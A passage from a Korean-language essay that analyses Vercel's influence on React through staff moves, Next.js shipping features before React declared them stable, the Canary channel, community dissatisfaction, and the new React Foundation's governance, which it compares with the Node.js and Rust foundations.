숫자만 보면 Meta가 압도적이다. 하지만 이 숫자가 곧 영향력의 분포를 의미하지는 않는다. RSC(React Server Components)의 핵심 설계자인 Sebastian Markbåge는 Vercel 소속이고, Andrew Clark은 Redux의 공동 창시자이자 React Core의 오랜 기여자로, 현재 Vercel에서 Next.js 팀에 있으면서 React Core 팀 활동을 병행하고 있다. 물론 소속만으로 기술 방향에 대한 실질적 영향력을 확정할 수는 없고, 공식 의사결정 규칙도 공개되지 않았다. 다만 **핵심 아키텍처를 설계한 인물들이 특정 프레임워크 기업에 소속되어 있다는 사실 자체가 구조적 질문을 만든다.**

### 인력 이동의 타임라인

React Core 팀에서 Vercel로의 인력 이동은 RSC 개발과 시기가 겹친다.

| 시기        | 이동                                  | 맥락                                                       |
| ----------- | ------------------------------------- | ---------------------------------------------------------- |
| 2021년 12월 | Sebastian Markbåge, Meta → Vercel[^2] | RSC RFC 발표(2020.12) 이후 약 1년. RSC의 최초 설계자       |
| 2023년      | Andrew Clark, Meta → Vercel           | React Fiber 공동 창시자. Next.js 팀 합류                   |
| 2023년 7월  | Dan Abramov, Meta → 독립[^3]          | 이후 Bluesky에서 근무, 2025년 2월 퇴사. React Core 팀 유지 |

Vercel은 Sebastian Markbåge의 합류를 발표하면서 이렇게 [밝혔다](https://vercel.com/blog/supporting-the-future-of-react):

> Sebastian Markbåge on the React core team at Meta is joining Vercel. As part of his role at Vercel, he'll still provide leadership on the React core team and help maintain the direction of React.
>
> Meta의 React Core 팀에 있던 Sebastian Markbåge가 Vercel에 합류한다. Vercel에서의 역할의 일환으로, 그는 여전히 React Core 팀에서 리더십을 발휘하고 React의 방향을 유지하는 데 기여할 것이다. 이 구조 자체가 문제라는 것은 아니다. 오픈소스에서 기업 간 인력 이동은 흔한 일이고, 핵심 기여자가 다른 회사로 옮겨도 프로젝트에 계속 기여하는 것은 자연스럽다. 문제는 이 이동이 React의 기술적 방향에 어떤 영향을 미쳤는가다.

## Next.js가 먼저, React는 나중

React의 최근 주요 기능들을 시간순으로 정리하면 하나의 패턴이 보인다.

### React Server Components

| 날짜        | 이벤트                                                                                                                |
| ----------- | --------------------------------------------------------------------------------------------------------------------- |
| 2020년 12월 | React 팀, [RSC RFC(#188)](https://github.com/reactjs/rfcs/blob/main/text/0188-server-components.md) 발표 및 데모 공개 |
| 2022년 10월 | Next.js 13, [App Router 베타](https://nextjs.org/blog/next-13)로 RSC 탑재                                             |
| 2023년 5월  | Next.js 13.4, [App Router "안정화"](https://nextjs.org/blog/next-13-4) 선언                                           |
| 2024년 12월 | [React 19 안정 릴리스](https://react.dev/blog/2024/12/05/react-19) — RSC 공식 안정화                                  |

Next.js가 RSC를 "안정(stable)"이라 선언한 시점(2023년 5월)과 React 자체가 RSC를 안정 릴리스한 시점(2024년 12월) 사이에는 **약 19개월의 간격**이 있다. 이 기간 동안 RSC를 프로덕션에서 사용할 수 있는 프레임워크는 사실상 Next.js뿐이었다.

### Server Actions

| 날짜        | 이벤트                                                                                                                  |
| ----------- | ----------------------------------------------------------------------------------------------------------------------- |
| 2023년 3월  | React Labs, [Server Actions 소개](https://react.dev/blog/2023/03/22/react-labs-what-we-have-been-working-on-march-2023) |
| 2023년 10월 | Next.js 14, [Server Actions "안정화"](https://nextjs.org/blog/next-14) 선언                                             |
| 2024년 12월 | React 19 안정 릴리스 — Server Actions(`"use server"`) 공식 안정화                                                       |

같은 패턴이다. Next.js가 Server Actions를 "안정"이라 선언한 시점(2023년 10월)은 React 19 안정 릴리스(2024년 12월)보다 **약 14개월** 앞선다.

### `"use cache"`

| 날짜            | 이벤트                                                                      |
| --------------- | --------------------------------------------------------------------------- |
| 2024년 10월     | Next.js canary에서 `"use cache"` 실험적 도입                                |
| 2025년 10월     | [Next.js 16](https://nextjs.org/blog/next-16), Cache Components 공식 기능화 |
| 2026년 3월 현재 | React에는 `"use cache"` 관련 RFC 없음                                       |

`"use cache"`는 `"use client"`, `"use server"`와 같은 형태의 디렉티브지만, React의 기능이 아니라 **Next.js의 기능**이다. React 컴파일러 인프라를 활용하지만, React 자체의 스펙에는 포함되어 있지 않다.

### 이 패턴이 의미하는 것

정리하면 이런 흐름이다:

```text
React 팀이 개념을 설계
    ↓
Next.js에서 먼저 구현 및 "안정화" 선언
    ↓
1년 이상의 간격
    ↓
React 안정 릴리스에 포함
```

이 구조가 가능했던 메커니즘이 있다. **React Canary 채널**이다.

## Canary: 프레임워크를 위한 선행 접근권

2023년 5월, React 팀은 [Canary 릴리스 채널](https://react.dev/blog/2023/05/03/react-canaries)을 공식화했다. 이 글의 저자는 Dan Abramov, Sophie Alpert, Rick Hanlon, Sebastian Markbåge, Andrew Clark — React Core 팀의 핵심 멤버들이다.

핵심 메시지는 이것이다:

> We'd like to offer the React community an option to adopt individual new features as soon as their design is close to final, before they're released in a stable version.
>
> 우리는 React 커뮤니티에 개별 새 기능이 안정 버전으로 릴리스되기 전에, 설계가 거의 최종 단계에 이른 시점에서 채택할 수 있는 선택지를 제공하고자 한다. 그리고 이 글에서 명시적으로 언급된 프레임워크가 Next.js다:

> For example, here is how Next.js (App Router) enforces resolution of react and react-dom to a pinned Canary version.
>
> 예를 들어, Next.js(App Router)가 react와 react-dom을 고정된 Canary 버전으로 해석하도록 강제하는 방법은 다음과 같다.

Canary 채널은 기술적으로 모든 프레임워크에 열려 있다. 하지만 "열려 있다"와 "실제로 사용할 수 있다"는 다른 문제다.

### Canary의 불안정성: 숫자로 보기

npm 레지스트리 기준, 2023년 5월 공식화 이후 React Canary 버전은 **542개** 이상 발행되었다(18.x canary 202개, 19.x canary 340개). 월 15\~29개 꼴이다. 같은 기간 React 18.x의 안정 릴리스는 **5개**(18.0.0\~18.3.1)뿐이었다. [React 공식 버전 정책](https://react.dev/community/versioning-policy)은 이렇게 밝힌다:

> Canary releases... may include breaking changes.
>
> Canary 릴리스에는... 브레이킹 체인지가 포함될 수 있다.

그리고 RSC 구현자에게 특히 중요한 경고가 [React 문서](https://react.dev/reference/rsc/server-components)에 있다:

> The underlying APIs used to implement a React Server Components bundler or framework do not follow semver and may break between minors in React 19.x.
>
> React Server Components 번들러나 프레임워크를 구현하는 데 사용되는 하위 API는 semver를 따르지 않으며, React 19.x의 마이너 버전 사이에서도 깨질 수 있다.

RSC를 프레임워크 수준에서 구현하려면 React의 내부 번들러 API에 의존해야 하는데, 이 API는 minor 버전 사이에서도 깨질 수 있다는 것이다.

### 다른 프레임워크들은 어떻게 되었나

이 불안정성이 이론적인 문제가 아니라 실제로 프레임워크들을 좌절시켰다는 근거가 있다.

**Shopify Hydrogen**: 2021~2022년 RSC를 초기 채택한 대표적 프레임워크였다. 커스텀 `react-server-dom-vite` 구현까지 만들었다. 하지만 2022년 10월 Shopify가 Remix를 인수하면서 [Hydrogen v2에서 RSC를 철회했다](https://shopify.engineering/remix-joins-shopify):

> Moving to Remix's data loading pattern (instead of server components) will lead to faster performance and a simpler developer experience.
>
> (서버 컴포넌트 대신) Remix의 데이터 로딩 패턴으로 전환하면 더 빠른 성능과 더 단순한 개발자 경험을 얻을 수 있을 것이다.

**RedwoodJS**: Tom Preston-Werner가 2023년 5월 ["all in on RSC"](https://tom.preston-werner.com/2023/05/30/redwoods-next-epoch-all-in-on-rsc.html)를 선언했다. "Bighorn Epoch"이라 명명하고 canary 기반으로 개발을 진행했지만, 안정 릴리스에 도달하지 못하고 결국 [RedwoodSDK](https://rwsdk.com/)라는 Cloudflare 기반 프레임워크로 방향을 전환했다.

**Waku**: Daishi Kato가 만든 미니멀 RSC 프레임워크. [v1 로드맵](https://github.com/dai-shi/waku/issues/24)(2023년 5월)에서부터 "React canary의 `react-server-dom-vite`를 기다려야 하나?"라는 질문이 나왔다. 27개 이상의 마이너 버전(v0.10~v0.27.5)을 거쳐 2026년 초에야 1.0 알파에 도달했다[^6]. 움직이는 RSC API를 따라잡는 데 시간이 걸린 것이다.

**React Router**: 2025년 5월 RSC 프리뷰를 [출시했지만](https://remix.run/blog/rsc-preview), 당시 Vite에 RSC 지원이 없어 번들러로 **Parcel**을 택해야 했다. Ryan Florence는 "Vite doesn't have RSC support yet"이라고 밝혔다. Vite의 [RSC 통합 논의](https://github.com/vitejs/vite/discussions/4591)는 2021년 8월부터 시작되었지만, 비동기 모듈 로딩과 React의 동기 모듈 로딩 가정 사이의 구조적 불일치로 수년간 진전이 더뎠다. 이후 [`@vitejs/plugin-rsc`](https://www.npmjs.com/package/@vitejs/plugin-rsc)가 Vite 공식 플러그인으로 출시되면서 상황이 바뀌기 시작했다. 다만 2026년 3월 현재 최신 버전이 0.5.x로 아직 0.x 단계이며, 안정 릴리스에 도달하지는 않았다. React Router도 이 플러그인 위에서 Vite 기반 RSC를 지원하게 되었고, Cloudflare는 2026년 2월 자사 Vite 플러그인이 `@vitejs/plugin-rsc`와 통합된다고 발표했다. Waku도 자체 RSC 구현에서 공식 플러그인으로 마이그레이션했다. 하지만 이 시점은 **최초 논의로부터 4년 이상이 지난 뒤**다. Next.js가 2022년 10월에 RSC를 탑재한 것과 비교하면, 나머지 생태계가 같은 기능을 사용할 수 있게 되기까지 3~4년의 시차가 존재했다는 뜻이다.

### "18.2.0"의 진실

Tom MacWright는 2024년 1월 ["Miffed About React"](https://macwright.com/2024/01/03/miffed-about-react)에서 흥미로운 사실을 지적했다. Next.js가 React canary를 내장하면서, `package.json`에는 React 18.2.0을 명시하지만 실제로는 canary 버전이 실행되는 구조였다는 것이다:

> Next.js vendors a version of the next release of React, using trickery to make it seem like you're using React 18.2.0 when in fact you're using a canary release.
>
> Next.js는 React의 다음 릴리스 버전을 내장하면서, 실제로는 canary 릴리스를 사용하고 있는데 마치 React 18.2.0을 사용하고 있는 것처럼 보이게 하는 트릭을 쓰고 있다.

이 주장은 [Next.js GitHub 이슈 #54553](https://github.com/vercel/next.js/issues/54553)에서 확인되었다. 사용자가 `package.json`에 React 18.2.0을 지정했지만, `React.version`은 `18.3.0-canary-dd480ef92-20230822`를 반환했다. Next.js 팀원 Balazs Orban은 Next.js가 "다른 React 채널에서 아직 사용할 수 없는 API를 가져오고 있다"고 인정했다.

이것이 의미하는 바는, Canary 채널이 형식적으로는 모든 프레임워크에 열려 있었지만, **실제로 Canary의 불안정성을 감당하면서 미완성 기능을 프로덕션에 탑재하기에 가장 유리한 위치에 있었던 것은 Vercel/Next.js**였다는 점이다. React Core 팀 멤버가 사내에 있으므로 Canary에서 문제가 생기면 즉시 소통하여 수정할 수 있는 구조였다.

Next.js 14의 [발표 블로그](https://nextjs.org/blog/next-14)는 이렇게 적고 있다:

> As of v14, Next.js has upgraded to the latest React canary, which includes stable Server Actions.
>
> v14부터 Next.js는 안정적인 Server Actions를 포함하는 최신 React canary로 업그레이드되었다.

"React canary에 포함된 stable Server Actions"라는 표현이다. React의 안정 릴리스가 아닌 canary 버전의 기능을 "stable"이라 부르는 것은, Next.js가 React의 릴리스 사이클과 독립적으로 안정성을 선언하고 있다는 뜻이다. [DEVCLASS의 분석](https://devclass.com/2023/10/27/next-js-14-released-as-vercel-aims-for-dynamic-at-the-speed-of-static-but-are-new-features-really-stable/)은 이 점을 지적한 바 있다.

Canary 채널 자체는 합리적인 메커니즘이다. Meta도 내부적으로 React의 bleeding-edge 버전을 사용해왔고, React Native도 같은 방식으로 운영된다. 문제는 **결과적으로 특정 프레임워크에 선행 접근권을 부여하는 구조**가 되었다는 점이다.

## "Vercel이 React를 지배한다"는 맞는가

이 질문에 대해 가장 상세하게 분석한 사람은 Redux 메인테이너 Mark Erikson이다. 2025년 6월, 그는 ["The State of React and the Community in 2025"](https://blog.isquaredsoftware.com/2025/06/react-community-2025/)라는 글에서 이 논쟁을 정면으로 다뤘다.

Erikson의 핵심 주장은 **인과관계의 방향이 반대**라는 것이다:

> It was the React team that drove this set of changes.
>
> 이 일련의 변화를 주도한 것은 React 팀이었다.

RSC를 설계하고 밀어붙인 것은 Vercel이 아니라 React 팀 자체라는 것이다. Vercel이 React를 인수한 것이 아니라, **React 팀이 자신들의 비전을 구현할 환경으로 Vercel/Next.js를 선택한 것**에 가깝다는 주장이다.

그 배경에는 Meta의 특수한 사정이 있었다. Meta는 React를 대규모로 사용하지만, 자체 서버 인프라, GraphQL/Relay 기반 데이터 페칭, 독자적인 라우팅 시스템을 갖고 있다. 일반 웹 개발자들이 쓰는 Express, Prisma, next-auth 같은 도구와는 거리가 멀다. RSC를 Meta 내부에서 프로토타이핑하는 것은 한계가 있었고, React 팀은 외부 파트너가 필요했다. 그 파트너가 Vercel이었다.

이 분석은 설득력이 있다. 하지만 Erikson 자신도 이 구조의 결과가 커뮤니티에 마찰을 일으키고 있음은 인정한다:

> The React community and ecosystem is fractured, with an increasing split between how the React team wants the framework to be used, and how the community uses it in practice.
>
> React 커뮤니티와 생태계는 분열되어 있으며, React 팀이 원하는 프레임워크 사용 방식과 커뮤니티가 실제로 사용하는 방식 사이의 괴리가 점점 커지고 있다.

원인이 무엇이든, **결과적으로 React의 기술 방향과 커뮤니티의 실제 사용 사이에 괴리가 발생**했다는 것이다.

Vercel에서 Next.js 커뮤니티를 5년간 담당했던 Lee Robinson도 퇴사 후 이 구조적 문제를 [인정했다](https://leerob.substack.com/p/reflections-on-the-react-community):

> Most of the 'RSC innovation' happening in the ecosystem was from those building on Next.js. It was still very difficult to build non-Next.js RSC things.
>
> 생태계에서 일어나는 'RSC 혁신'의 대부분은 Next.js 위에서 만들어지고 있었다. Next.js가 아닌 곳에서 RSC를 사용하는 것은 여전히 매우 어려웠다.

그리고 App Router의 시기에 대해서도 이렇게 밝혔다:

> The App Router was likely marked stable too soon... Obviously that was a mistake.
>
> App Router는 아마 너무 일찍 안정(stable)이라고 표시되었을 것이다... 분명히 실수였다.

이 글에서 다루는 사실들 — 인력 이동, Canary 선행 구현, `"use cache"` — 만으로 "Vercel이 React를 지배한다"고 단정할 수는 없다. React Foundation은 기술 거버넌스의 독립성을 약속했고, React Core 팀 전체 구성에서 Meta 비중이 여전히 크며, React 팀이 자율적으로 기술 방향을 설정해왔다는 Erikson의 분석도 설득력이 있다. **문제는 그 반대가 사실이라고 믿게 할 구조적 장치가 아직 공개되지 않았다는 점이다.** "지배당하지 않고 있다"를 입증할 책임은 "벤더 중립"을 선언한 쪽에 있다.

## 커뮤니티의 온도

[State of React 2024 설문](https://2024.stateofreact.com/en-US)에 따르면:

- 신규 프로젝트의 **45%**가 RSC를 채택
- 하지만 Server Components와 Server Functions는 **3번째, 4번째로 불만족스러운 기능**으로 꼽힘
- 전반적 만족도는 5점 만점에 **3.6점**, 하락 추세
- 가장 큰 고충은 Context API 비호환(59건), 테스팅 공백(24건), 디버깅 어려움

설문 보고서는 이렇게 평가했다:

> Server Components and Server Functions are the third and fourth-most-disliked features... troubling for a set of new APIs that was supposed to pave the way towards React's next big evolution.
>
> Server Components와 Server Functions는 3번째, 4번째로 불만족스러운 기능이다... React의 다음 대진화를 이끌어야 할 새 API 세트치고는 우려스러운 결과다.

채택은 되고 있지만 만족도가 낮다. React의 "다음 진화"를 이끌어야 할 기능이 가장 불만족스러운 기능에 올라있는 셈이다.

[State of JavaScript 2025 설문](https://2025.stateofjs.com/en-US/libraries/meta-frameworks/)의 메타 프레임워크 부문도 비슷한 양상을 보인다. Next.js의 만족도(retention)는 2022년 89%에서 2023년 75%로 하락했고, 이후 추가 하락세를 보이고 있다. Next.js는 13번째로 사랑받는 프로젝트이면서 동시에 **5번째로 싫어하는 프로젝트**에 올라 있어, 생태계에서 가장 양극화된 도구 중 하나가 되었다.

### 불만족의 구체적 원인

숫자 이면에 있는 고충을 분류하면 세 가지로 나뉜다.

**멘탈 모델의 분열**: React는 오랫동안 하나의 멘탈 모델로 작동했다. 컴포넌트는 props와 state를 받아 UI를 렌더링한다. RSC는 이 모델을 둘로 쪼갰다. 서버에서 실행되는 컴포넌트와 클라이언트에서 실행되는 컴포넌트가 다른 규칙을 따른다. 서버 컴포넌트에서는 `useState`, `useEffect`, Context API를 쓸 수 없다. 클라이언트 컴포넌트에서는 `async/await`를 쓸 수 없다. 어떤 컴포넌트가 어디서 실행되는지를 항상 의식해야 하고, 경계를 넘을 때 데이터가 어떻게 직렬화되는지를 이해해야 한다. 설문에서 Context API 비호환이 59건으로 가장 많이 언급된 것은 이 분열의 직접적 결과다. 기존에 Context로 해결하던 패턴 — 테마, 인증 상태, 국제화 — 이 서버 컴포넌트에서 작동하지 않기 때문이다.

**디버깅의 어려움**: 서버-클라이언트 경계를 넘는 에러는 스택 트레이스가 분리된다. 서버에서 발생한 에러의 일부는 서버 로그에, 나머지는 브라우저 콘솔에 나타난다. RSC 페이로드(Flight 프로토콜)는 사람이 읽기 어려운 바이너리 포맷이므로, 서버와 클라이언트 사이에서 어떤 데이터가 오가는지 직접 확인하기 어렵다. React DevTools v6이 서버 컴포넌트 배지를 추가했지만, 서드파티 라이브러리와의 호환성은 아직 불안정하다.

**테스팅 공백**: Server Components를 단위 테스트하는 공식적인 방법이 아직 없다. React Testing Library의 [이슈 #1209](https://github.com/testing-library/react-testing-library/issues/1209) ("Support for React Server Components", 2023년 5월, **155개 이상의 댓글**, 여전히 OPEN)가 이 문제를 추적하고 있다. `render(<Page />)`를 호출하면 async 컴포넌트가 `Promise<Element>`를 반환하여 실패한다. `const Result = await Page(props); render(Result)`라는 우회법이 있지만 공식 지원이 아니다. Vitest의 [이슈 #8526](https://github.com/vitest-dev/vitest/issues/8526)에서 기여자 Hiroshi Ogawa는 "React와 Next.js 팀에 E2E 테스트 외의 서버 컴포넌트 공식 테스팅 전략이 없다"고 밝혔다. 설문에서 24건이 이 문제를 지적했다. [Next.js 공식 문서](https://nextjs.org/docs/app/guides/testing/vitest)도 async Server Components에는 E2E 테스트를 권장하고 있어, 컴포넌트 단위의 빠른 피드백 루프가 구조적으로 깨진 상태다.

### 다른 프레임워크들의 선택

React 생태계의 다른 주요 프레임워크들은 RSC에 대해 각기 다른 입장을 취하고 있다.

**React Router / Remix**: Remix의 공동 창시자 Ryan Florence는 RSC에 대해 복합적인 시각을 보였다. React Router v7은 RSC를 지원하지 않는 상태로 출시되었고, Florence는 ["React Router v7은 내가 원하는 것만큼 의견이 강하지 않고, 스코프도 내가 원하는 것보다 크다"](https://x.com/ryanflorence/status/1859291013879357828)라고 밝혔다. 더 극적인 것은 Remix 3의 방향이다. 2025년 5월, Florence와 Michael Jackson은 [Remix 3에서 React를 완전히 버리겠다](https://remix.run/blog/wake-up-remix)고 선언했다. Preact 포크를 기반으로 웹 플랫폼 표준에 직접 의존하는 방향이다. RSC 대신 "HTML을 와이어 포맷으로, HTMX에 가까운" 접근을 택했다.

**TanStack Start**: TanStack의 Tanner Linsley는 RSC의 이름부터 문제라고 [지적했다](https://github.com/TanStack/router/discussions/802). "Prerendering Components"나 "Serializable Components"라 불러야 한다는 것이다. RSC가 **SPA 생태계에서 10년간 축적된 지식과 패턴을 버리고 서버에서 다시 하려는 것**이라는 비판이다. TanStack Start는 "client-first" 철학을 표방하며, RSC를 전면적으로 도입하는 대신 필요한 곳에서만 선택적으로 사용할 수 있는 구조를 지향하고 있다.

이 선택들이 시사하는 바가 있다. React의 핵심 방향인 RSC를 전면 수용한 프레임워크는 Next.js뿐이고, 나머지 주요 프레임워크들은 각자의 방식으로 거리를 두거나 아예 React를 떠나고 있다.

## Meta는 왜 React를 내보냈나

이런 상황에서 Meta는 React를 독립 재단으로 이관하기로 결정했다. 2025년 10월 [React Conf에서 발표](https://react.dev/blog/2025/10/07/introducing-the-react-foundation)하고, 2026년 2월 [Linux Foundation 산하에 공식 출범](https://react.dev/blog/2026/02/24/the-react-foundation)시켰다.

공식 메시지는 "React has outgrown the confines of any one company"[^5]였다. 하지만 이 결정의 배경에는 여러 층위의 동기가 겹쳐 있다.

### Meta의 오픈소스 스핀아웃 패턴

React가 처음이 아니다. Meta는 [GraphQL을 2018년에](https://graphql.org/blog/2018-11-12-the-graphql-foundation/), [PyTorch를 2022년에](https://pytorch.org/blog/PyTorchfoundation/) Linux Foundation 산하 재단으로 이관했다. [The Register](https://www.theregister.com/2025/10/09/meta_react_foundation/)는 React의 이관을 "a similar corporate distancing exercise"라 평했다.

이 패턴의 배경에는 Meta 브랜드의 오픈소스 리스크가 있다. 2017년 React의 BSD+Patents 라이선스 논란은 Apache Software Foundation이 React를 금지하고, WordPress가 React에서 이탈하겠다고 위협하는 사태로 이어졌다[^12]. 프로젝트를 중립 재단으로 옮기면 "Meta가 포기하면 어떻게 되나"라는 엔터프라이즈 채택의 장벽이 사라진다.

Google이 2015년 Kubernetes를 CNCF에 기부한 뒤 Microsoft, Amazon 등 경쟁사가 대거 참여하면서 시장을 지배하게 된 전례도 있다. 중립성이 확보되면 경쟁사의 투자가 늘어난다는 검증된 전략이다.

### AI 전환과 비용 분산

Meta는 2022년부터 대규모 감원을 진행하면서 AI 인프라에 \$72\~135B 수준의 자본 지출을 집중하고 있다. React Foundation에 대한 Meta의 약속은 5년간 \$3M 이상의 자금과 전담 엔지니어링 팀 유지[^5]인데, 연간 약 \$600K는 5,500만 웹사이트와 2,000만 개발자가 사용하는 프로젝트치고는 적은 금액이다. 8개 Platinum 멤버 기업이 이사회에 참여하는 구조는 재정적 부담을 분산하는 효과가 있다.

### 재단의 구조

[React Foundation](https://react.dev/blog/2026/02/24/the-react-foundation)의 공개된 구조는 다음과 같다.

**이사회(Board of Directors)**: 8개 Platinum 창립 멤버 기업의 대표로 구성된다.

| 기업             | 분류                |
| ---------------- | ------------------- |
| Amazon           | 클라우드/인프라     |
| Callstack        | React Native 컨설팅 |
| Expo             | React Native 도구   |
| Huawei           | 하드웨어/통신       |
| Meta             | React 원 개발사     |
| Microsoft        | 클라우드/플랫폼     |
| Software Mansion | React Native 도구   |
| Vercel           | Next.js/배포 플랫폼 |

8개 기업 중 Vercel이 포함되어 있다. Next.js를 운영하는 회사가 React Foundation의 이사회에 참여하는 것이다.

**Executive Director**: Seth Webster (Meta). 자금과 리소스 배분을 관리한다.

**기술 거버넌스**: 이사회와 분리된 독립적 기술 결정 구조를 만들겠다고 밝혔다. 단, 2026년 2월 공식 출범 시점에서도 기술 거버넌스의 구체적 구조는 확정되지 않았다. "provisional leadership council"이 구성되었고, 상세 구조는 "coming months"에 공개하겠다고 했다[^4].

**Meta의 전환기 통제권**: [The New Stack의 분석](https://thenewstack.io/react-foundation-open-source-governance/)에 따르면, Meta는 출범 후 **2.5년간 기업 거버넌스 위원회에서 supermajority를 유지**한다[^13]. "벤더 중립"을 선언했지만, 전환기 동안은 Meta가 실질적 통제권을 갖는 구조다.

### 확인 가능한 것과 확인 불가능한 것

React Foundation에 대해 현재 확인 가능한 사실은 제한적이다.

**확인 가능한 것:**

- 이사회에 8개 기업이 참여하며, Vercel이 포함되어 있다
- 기술 거버넌스는 이사회와 분리된다고 선언했다
- Meta가 5년간 \$3M+ 자금과 엔지니어링 지원을 약속했다
- Executive Director는 Meta 소속의 Seth Webster다
- Meta는 출범 후 2.5년간 기업 거버넌스 위원회에서 supermajority를 유지한다

**아직 확인 불가능한 것:**

- 기술 거버넌스의 구체적 구조 (TSC 구성, 투표 규칙, 거부권 등)
- 기술 결정과 이사회 결정이 실제로 분리될 수 있는 메커니즘
- Vercel 소속 5명의 React Core 팀원이 재단 체제에서 어떤 역할을 하는지
- "벤더 중립"이 기술 방향 결정에서 구체적으로 어떻게 작동하는지
- supermajority 기간 종료 후 거버넌스 전환 계획

2026년 3월 현재, React Foundation은 출범했지만 **기술 거버넌스의 핵심 구조가 아직 공개되지 않은 상태**다.

## 프레임워크가 라이브러리를 이끄는 역전

React와 Next.js의 관계에서 가장 주목할 만한 현상은 **의존 방향의 역전**이다.

전통적으로 라이브러리/프레임워크 관계는 이런 방향이다:

```text
라이브러리가 API를 정의 → 프레임워크가 구현/확장
React가 컴포넌트 모델을 정의 → Next.js가 라우팅/SSR을 추가
```

하지만 최근 React-Next.js의 관계는 이렇게 되었다:

```text
Next.js에서 먼저 구현 → React가 사후적으로 스펙화
Next.js 13.4가 RSC "안정화" → 19개월 후 React 19가 공식 안정화
Next.js 14가 Server Actions "안정화" → 14개월 후 React 19가 공식 안정화
Next.js 16이 "use cache" 도입 → React에는 해당 스펙 없음
```

React의 경우가 특이한 이유는 주체가 셋이기 때문이다. React는 Meta가 만든 라이브러리인데, 핵심 기능의 프로토타이핑과 안정화가 **다른 회사(Vercel)의 제품(Next.js)**에서 이루어진다. 그리고 이제 **제3의 조직(React Foundation)**이 거버넌스를 맡겠다고 선언했다. 세 주체의 이해관계가 일치할 때는 문제가 없지만, 충돌할 때 어떤 메커니즘으로 해결되는지는 아직 정의되지 않았다.

## `"use cache"`: 경계가 흐려지는 징후

`"use cache"` 디렉티브는 이 경계가 흐려지고 있음을 보여주는 사례다.

`"use client"`와 `"use server"`는 React의 공식 디렉티브다. React 19에 포함되어 있고, [React 공식 문서](https://react.dev/reference/rsc/use-client)에 정의되어 있다. 어떤 프레임워크에서든 구현할 수 있는 React의 스펙이다.

`"use cache"`는 같은 문법적 형태를 취하지만, [Next.js 문서](https://nextjs.org/docs/app/api-reference/directives/use-cache)에만 존재한다. React 공식 문서에 `"use cache"` 항목은 없다. React에 RFC도 제출되지 않았다. 이 디렉티브를 설계한 사람은 Sebastian Markbåge다. 그가 2024년 10월 Next.js 블로그에 게시한 ["Our Journey with Caching"](https://nextjs.org/blog/our-journey-with-caching)에서 처음 공개되었다. `"use client"`와 `"use server"` 디렉티브도 설계한 같은 인물이, 이번에는 React가 아닌 Next.js의 기능으로 새 디렉티브를 만든 것이다.

```tsx
// React 공식 디렉티브
'use client' // → react.dev에 문서 있음
'use server' // → react.dev에 문서 있음

// Next.js 전용 디렉티브
'use cache' // → nextjs.org에만 문서 있음, React 스펙 아님
```

개발자 입장에서 이 세 디렉티브는 같은 문법, 같은 위치(파일 또는 함수 최상단), 같은 방식으로 동작하는 것처럼 보인다. 하지만 `"use cache"`는 React의 기능이 아니라 Next.js의 기능이다. 이 디렉티브에 의존하는 코드는 Next.js(또는 향후 이를 구현하는 다른 프레임워크)에서만 동작한다.

`"use client"`와 `"use server"`도 처음에는 Next.js에서 먼저 구현된 후 React 스펙이 되었다. `"use cache"`도 같은 경로를 밟을 가능성은 있다. 하지만 현 시점에서는 **React 디렉티브와 동일한 문법 형태를 사용하지만, Next.js가 정의한 프레임워크 기능**이다. 이것만으로 "경계가 무너졌다"고 단정하기는 어렵지만, React의 문법 관습이 특정 프레임워크의 기능으로 확장되는 구조적 경향을 보여주는 것은 사실이다.

## 선례: Node.js는 같은 문제를 어떻게 풀었나

React Foundation이 직면한 문제는 새로운 것이 아니다. 가장 유사한 선례는 Node.js다.

### io.js 포크와 Joyent 문제

2014년, Node.js 커뮤니티는 Joyent의 통제에 불만을 폭발시켰다. Joyent는 Node.js의 상표를 소유하고, 커밋 접근권을 통제하고, 프로젝트 리더(TJ Fontaine)를 임명했다. 릴리스는 지연되고, V8 엔진은 구버전에 묶여 있었다. 투명한 거버넌스 프로세스도 없었다.

2014년 12월, Fedor Indutny가 Node.js를 포크하여 **io.js**를 만들었다. 2015년 1월 io.js v1.0.0이 릴리스되자, Joyent는 압력에 못 이겨 2015년 2월 [Node.js Foundation 설립](https://nodejs.org/en/blog/announcements/foundation-v4-announce)을 선언했고, 2015년 9월 Node.js v4.0.0에서 두 프로젝트가 합쳐졌다.

### Node.js TSC의 구조적 장치

합병 과정에서 커뮤니티의 핵심 요구는 ["이사회로부터의 기술 결정 자율성"](https://github.com/nodejs/node/issues/978)이었다. 결과적으로 만들어진 [TSC(Technical Steering Committee) 헌장](https://github.com/nodejs/TSC/blob/main/TSC-Charter.md)에는 구체적인 구조적 장치가 들어갔다.

**고용주 상한선**: TSC 투표 멤버의 **1/4 이상이 같은 회사 소속일 수 없다**[^7]. 이 한도를 초과하면 즉시 시정해야 한다:

> No more than one-fourth of the TSC voting membership may be affiliated with the same company/entity. The situation must be immediately remedied by the removal of voting member status.
>
> TSC 투표 멤버의 1/4 이상이 같은 회사/단체에 소속될 수 없다. 이 상황은 투표 멤버 자격의 제거를 통해 즉시 시정되어야 한다.

Working Group에는 더 엄격한 **1/3 상한선**이 적용된다[^8]. OpenJS Foundation의 상위 기구인 CPC(Cross Project Council)에도 동일한 1/4 상한선이 적용된다[^9].

**비밀 투표**: 합의에 실패할 경우 투표로 결정하되, 투표 내용은 비공개다:

> TSC voting members' choices must not be disclosed, to avoid influencing other voting members.
>
> TSC 투표 멤버의 선택은 공개되어서는 안 된다. 다른 투표 멤버에게 영향을 미치는 것을 방지하기 위해서다.

특정 기업이 자사 소속 멤버에게 투표 압력을 가하는 것을 구조적으로 차단한다.

**헌장 수정 제한**: TSC 헌장은 TSC 자체적으로 수정할 수 없고, 상위 기구인 CPC의 승인이 필요하다. 포획된 TSC가 자체 규칙을 약화시키는 것을 방지한다.

이 구조의 핵심은 **선의에 의존하지 않는다**는 점이다. "우리는 중립적일 것이다"라는 선언이 아니라, 중립성을 깨뜨리는 것이 구조적으로 불가능하도록 설계되어 있다.

### Rust Foundation: 구조가 있어도 프로세스가 실패하면

Node.js가 "구조적 장치가 중요하다"는 교훈을 준다면, Rust Foundation은 "구조만으로는 부족하다"는 교훈을 준다.

Rust Foundation은 2021년 출범 시부터 강력한 구조적 장치를 갖추고 있었다. 이사회는 기업 이사(Platinum 멤버)와 프로젝트 이사(Leadership Council 선출)로 구성되며, 모든 의안은 **기업 이사 과반수와 프로젝트 이사 과반수 모두의 찬성**이 있어야 통과된다[^10]. 기업 측도 프로젝트 측도 단독으로 의사결정을 밀어붙일 수 없는 이중 다수결 구조다. Leadership Council에는 소속 기업당 대표 수 상한선이 있다(6명 이상일 때 최대 2명)[^11].

